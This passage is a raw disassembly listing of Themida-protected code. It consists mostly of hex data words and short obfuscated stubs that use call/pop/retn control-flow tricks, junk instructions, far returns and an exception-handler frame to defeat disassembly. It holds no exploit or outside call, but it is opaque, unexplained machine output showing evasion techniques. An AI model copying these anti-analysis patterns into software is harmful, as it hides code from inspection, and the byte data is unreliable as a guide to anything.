T I N E ======================================= sub_5CC343 proc near ; CODE XREF: Themida_:005CC33Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5CC343 endp ; --------------------------------------------------------------------------- db 81h dd 89E38023h, 0E8DEB70Fh, 0Ch, 0EA2990CEh, 0C8264CA7h dd 7AFED267h, 0FE8h, 0DD347D00h, 4B1EFCC3h, 0B2234DD5h dd 32717F0Eh, 94DBD89h, 5F5B0614h, 1006B9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0F2E6B329h, 39C56DFBh, 12899D89h, 0E1830614h, 0F8BF0FFCh dd 65BD8Bh, 6AFC0614h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0D5E3C357h, 248DBD89h dd 0B80614h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 315CC356h, 0BFADC689h dd 50EA84A8h, 0BAh, 0F88B6600h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 4FADBF66h, 880Dh, 1B870F00h, 0E8000000h dd 13h, 3B436903h, 0C15ACAE6h, 2582DF06h, 0EC8021DAh, 0B77A2C2Fh dd 958B5B3Bh, 6142B69h, 10558D8Bh, 0BD8B0614h, 614064Dh dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BF0F5818h dd 0C1BF66D9h, 4DBD83C5h, 6140Fh, 6A840Fh, 9E90000h, 99000000h dd 2BB05BE9h, 8D6CD09Ah, 0B8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 66DA318Fh dd 8B4BC381h, 4DFF8D8Dh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0F1680DC3h, 5F0ED217h dd 399D014Ch, 0FF06141Ah, 0DE8B66E1h, 13DBD83h, 0F000614h dd 46A84h, 3DBD8300h, 1061401h, 478840Fh, 0FC600000h, 61D98B66h dd 0EE9h, 0DA817E00h, 240BD605h, 5A0C74B5h, 83E7C6F3h dd 14013DBDh, 860F0306h, 41Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 4FC35343h, 7F8448F6h, 0C913BB66h dd 0FA8B6660h, 6AD98C66h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0C4B1C352h, 66B2CE69h dd 0E180DA8Bh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0BA29160h, 9FF202F0h dd 41BD3179h, 0F06140Ch, 1F80h, 13E800h, 287E0000h, 4961BA91h dd 1024C83Dh, 0BF0755FCh, 0BBF471E9h, 75B589B6h, 5B06140Eh dd 840FC90Ah, 14Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0CDC35646h, 0B47ABB66h, 0E35858Bh, 6A0614h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8BAAF2C3h, 1404EDBDh, 0A9853306h, 6A061406h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 8B97C356h, 0B5893524h, 61424F9h, 8B525090h, 66310FDFh dd 5A383CBBh, 0BF665058h, 8B901274h, 143109BDh, 6A006A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 3B2BC350h, 0BEE73D4Eh, 43840C5Eh, 9248DD68h dd 50605646h, 5A310F52h, 61585658h, 2434815Fh, 468D4B22h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9BC35040h dd 0F6B8A5B6h, 6F2FC5B3h, 8B66DE8Ah, 9D95FFDFh, 6A061408h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0B687C356h, 0E073CAE9h, 9D8B60A5h, 61410C1h dd 5810Fh, 6AB90000h, 61061E8Fh, 6800Fh, 0BD310000h, 61434EDh dd 0A7EA8589h, 0BB660617h, 0BEE91A68h, 0F8000001h, 0A7E2858Bh dd 85890617h, 6140F39h, 1800C7h, 95890000h, 6140BFDh, 0A7E6B58Bh dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0A7E527C3h, 858B34F1h, 6140281h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 93C35646h, 9D607C6h dd 1431A195h, 689F906h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0BCC35242h, 0AD4BB669h, 2B79E2AEh, 2B3FBB5Dh dd 858B4A60h, 6140E35h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 5C35242h, 0E99D2B65h, 8906141Ch, 8D890446h dd 6143165h, 0A296BB96h, 0E9501414h, 13h, 5BC109A4h, 20444428h dd 0C6092352h, 0F2D1492Dh, 9604834Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 98C35040h, 58EE4AF8h, 0E8A239D2h dd 5, 50178F5Ah, 6D9D8BF0h, 5B061409h, 0A7E2B5FFh, 85890617h dd 6140529h, 31275768h, 0B5BF66FAh, 240481ABh, 5EDDCA8h dd 8E9h, 87849000h, 623F18E2h, 0EA858D91h, 6A0617A7h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0A572C353h, 823AC63Ch, 0BB66C932h, 0F907193h, 58Dh dd 8B665000h, 8B505FDEh, 0D38090FAh, 9D95FF41h, 6A061408h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0F4C6C350h, 0FBAE64D6h, 0F035939h, 88Fh dd 0E1816000h, 76ABB997h, 0F536161h, 81h, 85C75F00h, 614013Dh dd 3, 2E59D8Bh, 0BD830614h, 617A7EAh, 45840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 53F3C352h, 3CE90DB7h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 6DC7C356h, 0FC0E4619h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 82CC353h, 1B018589h dd 0BD8B0614h, 614124Dh, 2FB98D09h, 0BD830614h, 614013Dh dd 0B1850F03h, 89000003h, 140CB5B5h, 0EABD8306h, 617A7h dd 39E840Fh, 0FFFC0000h, 17A7EAB5h, 29858906h, 0FF061412h dd 14033995h, 29958906h, 8B06142Fh, 17A7DEB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 71BD8B51h, 0C7061413h, 1000106h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B70FD0A9h dd 0AE850DFh, 0BB000000h, 34D295C1h, 6C13D118h, 81BF6686h dd 34895B6Fh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 241D61C6h, 0C25EDC97h, 0BD897ED5h dd 614238Dh, 0A7EAB5FFh, 8B660617h, 8195FFDAh, 0B3061410h dd 0EDB58973h, 8B06141Ah, 17A7DEB5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 424814C7h dd 0BF66DEC1h, 858BE1BBh, 6140FF9h, 9E9B589h, 86890614h dd 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 3BC35747h, 0F91C1A4Ch, 8D78534Eh, 0FABF0FA0h, 2B99BD8Bh dd 958B0614h, 6142B69h, 83D88B66h, 335704C2h, 140795BDh dd 50895F06h, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 21C370B4h, 9D8BC70Fh dd 6141B35h, 0A3C1BF66h, 0BC23858Dh, 860F0617h, 10h, 8E8h dd 0AB8EA800h, 42E6437Eh, 5B6160BFh, 68B0Fh, 0B5890000h dd 614231Dh, 0B88689h, 0BD8B0000h, 6140479h, 0C3816657h dd 6A5B8611h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0EAB5FFBBh, 8B0617A7h, 141AE19Dh dd 0DBD8B06h, 0FF061423h, 1433AD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 9D297AC9h dd 614001Dh, 0FE8B6696h, 29BF6650h, 6A9639h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0DFB996C3h dd 29BE4C9Fh, 141639BDh, 0EAB5FF06h, 890617A7h, 140321B5h dd 995FF06h, 80061423h, 0BD8300DFh, 6141189h, 6C840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0A8D9C357h, 893980F4h, 140CFD85h dd 850F5006h, 15h, 7E860h, 0EC2A0000h, 0B96D6719h, 880F5804h dd 0 ; --------------------------------------------------------------------------- popa mov [esp], esi push 0 push ecx call sub_5CCC93 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCC93 proc near ; CODE XREF: Themida_:005CCC8Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5CCC93 endp ; --------------------------------------------------------------------------- or eax, 0C0BAB666h db 36h sub [ebp+6140C19h], eax push dword ptr [ebp+617A7EAh] push 0 push edi call sub_5CCCC0 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCCC0 proc near ; CODE XREF: Themida_:005CCCB8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5CCCC0 endp ; --------------------------------------------------------------------------- dd 0B1487981h, 88F2D5EEh, 94C78166h, 0D595FF8Fh, 1061402h dd 142B658Dh, 5E96006h, 0A8000000h, 553DC445h, 0FF61CA8Bh dd 17A7EAB5h, 25958906h, 0FF061404h, 140B7595h, 48C0F06h dd 66000000h, 8B7BC1BFh, 140B95BDh, 2DBD8306h, 2061411h dd 23840Fh, 0B5290000h, 61404FDh, 55858Bh, 2B510614h, 14190D9Dh dd 8D895F06h, 61417C1h, 810000C6h, 42B1AED7h, 4985C759h dd 6141Eh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 1F41C356h, 0FE8A1h, 0B6C10000h dd 63C9AC73h, 0BB864767h, 29C3B808h, 66CF816Bh, 5F7563FAh dd 0FFF403E9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 17F67467h, 0BBB43181h dd 12B687D1h, 28D0F51h, 8B000000h, 0C18B5BF9h, 86DA40BFh dd 41BD8B57h, 0E9061425h, 1Eh, 62C1F9F3h, 6 dup(0) dd 3AE90000h, 3C000005h, 128D910Ch, 0EF78BCF1h, 0FA65A9E4h dd 0D24DD1CCh, 0B13AFEB3h, 6518379Fh, 8C0906A1h, 0B8F31F88h dd 0A2D9EB74h, 6FC8335Eh, 55E860DCh, 3A413C57h, 9983910Ch dd 6366567h, 9DAC4A79h, 486CE8E0h, 72295BC4h, 7A03055Ah dd 0E8F46741h, 7D8DB16Ah, 3557E1E2h, 6E2A2246h, 0F645E25Dh dd 0D53F087h, 12501709h, 2B0BF005h, 0DCEB02E9h, 5C2FF3AAh dd 6483FE0Dh, 0B81C2C69h, 0EEA9A57Ah, 0D75887DDh, 66B0A77Dh dd 4F7BE4ACh, 2E5B2454h, 0CDC04777h, 0E41491BEh, 0A6CD9260h dd 39C26B67h, 2082CF4h, 783556D1h, 0ADBBD054h, 9D29B600h dd 11CE4411h, 2D8CBCEFh, 53F0E811h, 282A412Eh, 85950702h dd 6B9Ch, 188B1800h, 0E0415148h, 17569A8Dh, 53F0D324h dd 8259DBBFh, 0BCFD0D80h, 53F0D383h, 0BAB8DFB0h, 8594CD74h dd 102h, 0FD8BAE00h, 6EADD18Ch, 24FB39ADh, 0D526A23h, 0F68981FCh dd 0D2ADDDD8h, 0BDC2FAB7h, 31E71792h, 77B06B82h, 53F0E1C4h dd 73D7FB5Fh, 2D5E6D84h, 4FE85B70h, 53F0E1FCh, 80F4B1DCh dd 25C276BCh, 6EA46823h, 5356867h, 2454497Ah, 1F2E45F2h dd 0EE79BDF0h, 732E5ADCh, 0A3DBFF5Bh, 0C7F4B1DCh, 1E1489B8h dd 0BD2813AEh, 0F092C170h, 0A9980553h, 2A53F092h, 0DDEE5226h dd 0F092E150h, 141E6253h, 1CD22077h, 9A85948Bh, 5Eh, 4952D9AFh dd 49761A07h, 686741CBh, 4F7A0535h, 0BCD115A0h, 1236A8D5h dd 9AF15EFAh, 2ACCF887h, 0EE6A621Fh, 749348CAh, 5B6AF539h dd 3B491626h, 6AF54840h, 0A39F703h, 3FA58595h, 73000000h dd 5356867h, 3B534E7Ah, 3E4D1C0Fh, 833D4B43h, 95AE28FEh dd 3AC15377h, 1895B4D3h, 6667DE14h, 0A4A60737h, 9953F092h dd 8D539FF6h, 2985948Ch, 0Ah, 6D07263Eh, 4D1D942Eh, 6C675DC7h dd 924AF926h, 45C953F0h, 34562921h, 17C64179h, 0CBC6C100h dd 0C3D3A0B0h, 32E855F6h, 0B15030E0h, 0F507DC39h, 87AB22F0h dd 0AD9C1974h, 2653F0DFh, 64D7D022h, 0A4B715ECh, 0B09FBD0h dd 0DCC24C8Ah, 0AAA1A549h, 28FEB5D3h, 5C5CC2F5h, 0A7070D63h dd 0C4F7A6D8h, 187DCC69h, 0BC5455E4h, 0F7D18FD6h, 4AC84C00h dd 5C6EFD8Eh, 0A3CD321h, 0CEE87893h, 0E6B2E5C6h, 4B091C97h dd 0DECA1FD5h, 27310C48h, 44CE1B17h, 0D0043978h, 0C00F55E4h dd 35689AA9h, 595476F1h, 72295B22h, 0D06DDC59h, 62E655E4h dd 394B1490h, 0A39C4A42h, 0C5F5B0DCh, 0EEABA641h, 0FD304724h dd 1727626Eh, 98AA61B3h, 136A21E5h, 819249F2h, 0EF9438A7h dd 0DD57B3CBh, 0A987EF3Dh, 1578F8Bh, 80250000h, 47E01B61h dd 49DC90C7h, 0B7245438h, 9068DB44h, 454055E4h, 0E0D43048h dd 0C7F9969Ch, 0B5D750D4h, 645B6C6h, 187C8C09h, 29AA8A06h dd 0A66C67B5h, 94A4D7E9h, 8FBED562h, 0D8D3F57Dh, 0FC0024A0h dd 0A9188A50h, 69148Bh, 80800000h, 43EC1F65h, 0D3F09290h dd 7F3A5514h, 3949CB4Fh, 0B5842555h, 62D3F092h, 759096FDh dd 0F5BB44FDh, 3155AD82h, 0F33CAF1Ah, 0D3F01040h, 6C205D68h dd 0DDEAFE1Ah, 82CF37Dh, 0BD88B0Ah, 371B53F0h, 58054C04h dd 7BDB2214h, 0FB82F9B9h, 0E958C5C9h, 6A53F023h, 4ECAC2E6h dd 2341F03Dh, 7EC253F0h, 0A3AAB4h, 80C00000h, 47E01B61h dd 49DC6A83h, 64FB1074h, 0AC1F2F66h, 0E49A3003h, 0ABCFB355h dd 25D69h, 0E1EF7E8Dh, 3FA868AAh, 0CF6E9E0Dh, 55E49B71h dd 996017Ah, 55E49B3Ah, 0B05FD5B9h, 65182A59h, 7400E1A1h dd 900D3847h, 95161C78h, 0CD890D08h, 2D5A214Fh, 0C246A270h dd 62D15EC9h, 0A65FDC69h, 0DC69CA79h, 0F1C5495Fh, 5827878Dh dd 8A548526h, 40989975h, 32532C5Ch, 0D3C437Bh, 7FE07890h dd 0EED1218h, 133534E7h, 770C8698h, 0ABDEFCA7h, 0C0B45569h dd 65EB6ACBh, 384745F5h, 1C78900Dh, 0AA6ED216h, 1B618068h dd 80C047E0h, 403B49D9h, 0E86054E7h, 4A434455h, 0A7DAE976h dd 0EB0F3397h, 57889D0h, 238391F5h, 0AF732A5Ch, 6F9F0E30h dd 819E5CCEh, 920F3EEEh, 0ACE7E57Ah, 0C62D6A9Ch, 0D83F987Ch dd 0F01F97A9h, 0E5098DBDh, 0F7136A21h, 0A088CBCh, 40783355h dd 27B8CD3h, 0D7848E0Ah, 4DCAC2B9h, 467887EEh, 3254D357h dd 371437Bh, 0FF000000h, 6767A68Ch, 497B0434h, 29253A52h dd 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h dd 46471830h, 681F2757h, 6DA8h, 68243489h, 2A22h, 57240C89h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 5B682434h, 8B0618F2h dd 0C483240Ch, 348B5404h, 4C48124h, 51000000h, 95243481h dd 8F2B8F46h, 0B8500846h, 0C9B43D8h, 922DD0F7h, 31C7D575h dd 8B580846h, 89512434h, 4C181E1h, 83000000h, 0C8704C1h dd 34FF5C24h, 0C4815924h, 4, 0FB8953E9h, 2FF445FFh, 863B23E4h dd 0F717B857h, 0C5030618h, 2AFE0FFh, 8B6D0DD9h, 51317C17h dd 84A82CE4h, 0AD9C29EEh, 0DB562598h, 364D7198h, 0A6A67B75h dd 365D016Dh, 8CBC0092h, 0E4096E09h, 1DA90BFAh, 26B23B77h dd 858D23D0h, 6140791h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0D4C35141h, 0AC4BC82h, 0EF3B6A1Ah, 9BD8529h dd 0F900614h, 158Eh, 0CE800h, 5BBB0000h, 2C0868Ah, 0F9D11EA2h dd 8B66C2A9h, 50505FF9h, 10E952h, 1C170000h, 0C31FD384h dd 500F906h, 8F4E7DC4h, 310F83BBh, 0E990585Ah, 10h, 5267489Fh dd 6448D630h, 0F28EB1E8h, 66414DD3h, 0DB80006Ah, 6A006A2Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0D579C357h, 402EA8A3h, 0FB9BE48h, 280h, 8DCFB700h dd 18FA1085h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0EFBBBB27h, 81F7C5CBh, 372AC5DBh dd 5C0833Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0EEC35343h, 0CE803399h, 0FEB3EABh, 688h, 0BA666000h dd 506175DFh, 2830Fh, 5F520000h, 89240489h, 1411F58Dh dd 0F8006A06h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 897329C3h, 8BB02FC0h, 141CE99Dh dd 1995FF06h, 6A06141Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0F36CC356h, 65676130h dd 0A9B58936h, 8D061419h, 17A7788Dh, 8B66FC06h, 8BD1FFFEh dd 0CDBD83D8h, 1061401h, 0A6850Fh, 26A0000h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0EAC35646h, 0E8E12989h dd 0DE8B66C4h, 1C6D9D8Bh, 0E8900614h, 0Ah, 0ADF0FC3Dh dd 0CC8E03B5h, 52501909h, 310F5250h, 310F585Ah, 0C72599BBh dd 5F585A2Fh, 4C14BB50h, 6A907850h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 644DC352h dd 51F3BB9Fh, 59BD01CAh, 0FF06140Ch, 1433AD95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 14893FC5h, 1C2D6B5Ah, 0CE0E9h, 0E800h, 815D0000h, 18FA1AEDh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 15D3DFCh, 0D72894EDh, 0DABF0F29h, 8E49858Dh dd 8BF90617h, 2BBB50DEh dd 894A56F1h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 15EBE4C3h, 35FF6433h, 0 ; --------------------------------------------------------------------------- cmc mov large fs:0, esp jmp loc_5CD631 ; --------------------------------------------------------------------------- retf 0AE45h ; --------------------------------------------------------------------------- or ch, [edi+eax*2] mov ch, 35h loc_5CD631: ; CODE XREF: Themida_:005CD624j inc dword ptr [ebp+6142DEDh] and bx, 3EEBh push 0FFFFFFFFh push 0 push esi call sub_5CD649 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD649 proc near ; CODE XREF: Themida_:005CD641p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5CD649 endp ; --------------------------------------------------------------------------- mov esi, ecx push eax retf 7184h ; --------------------------------------------------------------------------- or [ecx+ecx*8], esi mov [ebp+6140D89h], eax push dword ptr [ebp+6142501h] mov [ebp+614252Dh], edi sub [ebp+6141F35h], eax call dword ptr [ebp+6142A89h] jmp loc_5CD784 ; --------------------------------------------------------------------------- db 8Bh, 9Dh, 0B5h dd 0B006140Ch, 9D89F900h, 6140E21h, 816670E6h, 0E435F6DBh dd 0CABB6671h, 0F613CDEh, 0DB83h, 13E900h, 0E0910000h dd 91AC393h, 636BD0AFh, 0B7027F49h, 42B903EEh, 0C8B60F88h dd 6860Fh, 9D8B0000h, 6141B71h, 6BAh, 0D7816600h, 0C18BD2B1h dd 1CD19589h, 0E8C10614h, 0D9B58904h, 66061424h, 53BBE2F7h dd 2B5A7C5Fh, 8B22B3C8h, 86E9D1h, 0DE90000h, 45000000h dd 3C9C6EA4h, 75F9D56Fh, 0A656974Eh, 4C44858Bh, 0BD8B5F4Ch dd 61430F1h, 6607C083h, 3EEEF781h, 8A00C083h, 0FD03BDEh dd 1083h, 0F5DE8B00h, 4BE9h, 85016000h, 6140E11h, 0FF8D8B61h dd 0E9FFFFFFh, 0Dh, 0EECB6229h, 5806F0CFh, 2B6AEAFAh, 1E183F4h dd 22840Fh, 0BB660000h, 816687F7h, 83C1E0C3h, 0FFFFFFA5h dd 9D29FEFFh, 6141CC1h, 4C449589h, 0E9F95F4Ch, 0 ; --------------------------------------------------------------------------- loc_5CD784: ; CODE XREF: Themida_:005CD680j lea esi, [ebp+61866E8h] mov bx, 1CBEh push 0 push 0 push edx call sub_5CD79B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD79B proc near ; CODE XREF: Themida_:005CD793p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5CD79B endp ; --------------------------------------------------------------------------- db 45h dd 0B15967D5h, 0FBBE7A2Dh, 498D89A9h, 0FF061426h, 14297195h dd 11E806h, 4DC30000h, 64DE0831h, 89344936h, 0D7130203h dd 0FF0C5EAh, 48Bh, 0C0BB6600h, 0BD8B5F72h, 61401FDh, 1017B9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 23B1979Fh, 29B4C4F6h, 14295DBDh, 835F5306h dd 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 8D01EBC3h, 614231Dh, 0FCF8BF0Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 76C35141h, 3406D4DAh dd 160B98ACh, 9DBD8B0Bh, 2B061415h, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 4FDD0846h dd 19E1B531h, 0B70F0614h, 6AD22BD8h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0AD55C356h dd 0E8D1C233h, 0E983D003h, 0FF47504h, 389h, 0FB8B6600h dd 6820Fh, 85290000h, 61410E5h, 880Dh, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 81FE9B38h, 69958B5Ah, 6A06142Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B055C351h dd 9F121C45h, 0F9B07959h, 558D8BF5h, 89061410h, 142E459Dh dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6658188Bh dd 2D1FCB81h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 48C35747h, 5AF950D6h, 0BD83EF9Eh, 6140F4Dh, 79840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0F21EC356h, 5E8F2BC3h, 0B8h, 0DBD8B00h dd 8D061425h, 144DFF8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 7FBD0C2Dh, 25A11716h dd 0BD8B2967h, 6142ACDh, 5160E1FFh, 0CE9h, 29322200h, 9534B5E4h dd 0C7198CD7h, 0CCB85E86h, 614C6A15h, 13DBD83h, 0F000614h dd 41E84h, 12E800h, 9E3C0000h, 711324D9h, 6DDC97Eh, 2F46E8E3h dd 8FB77926h, 35DBD89h, 835B0614h, 14013DBDh, 840F0106h dd 40Eh, 0AD8529h, 0BD830614h, 614013Dh, 0C5860F03h, 0F000003h dd 6A60F8B7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 926BC353h, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 8434C356h, 0F3BF662Bh, 8E91Fh, 0B30B0000h, 0EF6CCAC8h dd 0E1800AF2h, 0DDBD8B04h, 0A061403h, 0FD840FC9h, 89000000h dd 1424C9BDh, 35858B06h, 6A06140Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 5B15C351h dd 104DF05Ch, 158529h, 24B30614h, 6A98533h, 6A0614h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 6045BBC3h, 830FAEB1h, 6, 1BA19D89h, 0E9610614h, 7, 26E484CFh dd 90AA2950h, 37039FBBh, 830F5022h, 3, 90DE8B66h, 68F5006Ah dd 3F33F02Bh, 0BE8h, 0AB538F00h, 0D9A6418Dh, 21410E5Ch dd 2434815Fh, 3F2CF3D4h, 89D95FFh, 10E90614h, 95000000h dd 0A29551E4h, 0C3C64727h, 7846EB5Fh, 896E1006h, 17A7EA85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 223265ABh, 0A4B08EDFh, 2800F60h, 60000000h dd 6192B261h, 1B2E9h, 0DF8B6600h, 0A7E2858Bh, 0BD890617h dd 6141CB9h, 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 1FB370C3h, 2C69BD8Bh dd 0B58B0614h, 617A7E6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 6DC35747h, 725AA548h, 858BAF18h, 6140281h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C3C35646h dd 0EE29ACD3h, 0BD3132FDh, 614307Dh, 0BD890689h, 6140DCDh dd 0E35858Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 4689DBC3h, 0C199BB04h, 6096687Bh dd 0DE9CC8Ah, 84000000h, 39B6D77Fh, 0CFE7B40Eh, 0E013A5F3h dd 6A965061h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0D3F0C356h, 8B3AB9CBh, 0FFDA8B39h dd 17A7E2B5h, 719D2306h, 0E8061423h, 4, 1F03FFh, 10E9h dd 8896A800h, 71FAD9DCh, 9C64EC27h, 0D98DD332h, 52505069h dd 585A310Fh, 424448Bh, 8E8h, 0F1F41700h, 30A457CBh, 3BBF6648h dd 8B5B4Fh, 4489DD8Ah, 36B70424h, 0FFBF0F58h, 0A7EA858Dh dd 90F90617h, 8F0Fh, 0F500000h, 1983h, 14E900h, 3B000000h dd 0F1D7A00Dh, 47D629C4h, 502C0D0Fh, 0D69BD0FFh, 6A9061D1h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0B3FDC350h, 0D38C47Ah, 0FFFEB70Fh, 14089D95h dd 0F99D2306h, 61061424h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 8C35343h, 4B75E4E9h, 0EDF517DAh, 11850F60h dd 0E8000000h, 0Bh, 0C9535570h, 7893E758h, 5AEA084Dh, 85C761F8h dd 614013Dh, 3, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 5FC35747h, 53DBD340h, 7290D177h, 0D919D8Bh, 0BD830614h dd 617A7EAh, 35840F00h, 8B000000h, 1410919Dh, 45E906h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0E999D6C3h, 8, 82B24F5Eh, 1755CCFAh, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0BFC08B00h, 3B11EE40h dd 5890Fh, 81660000h, 8330FFD7h, 14013DBDh, 850F0306h dd 3D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 42C35545h, 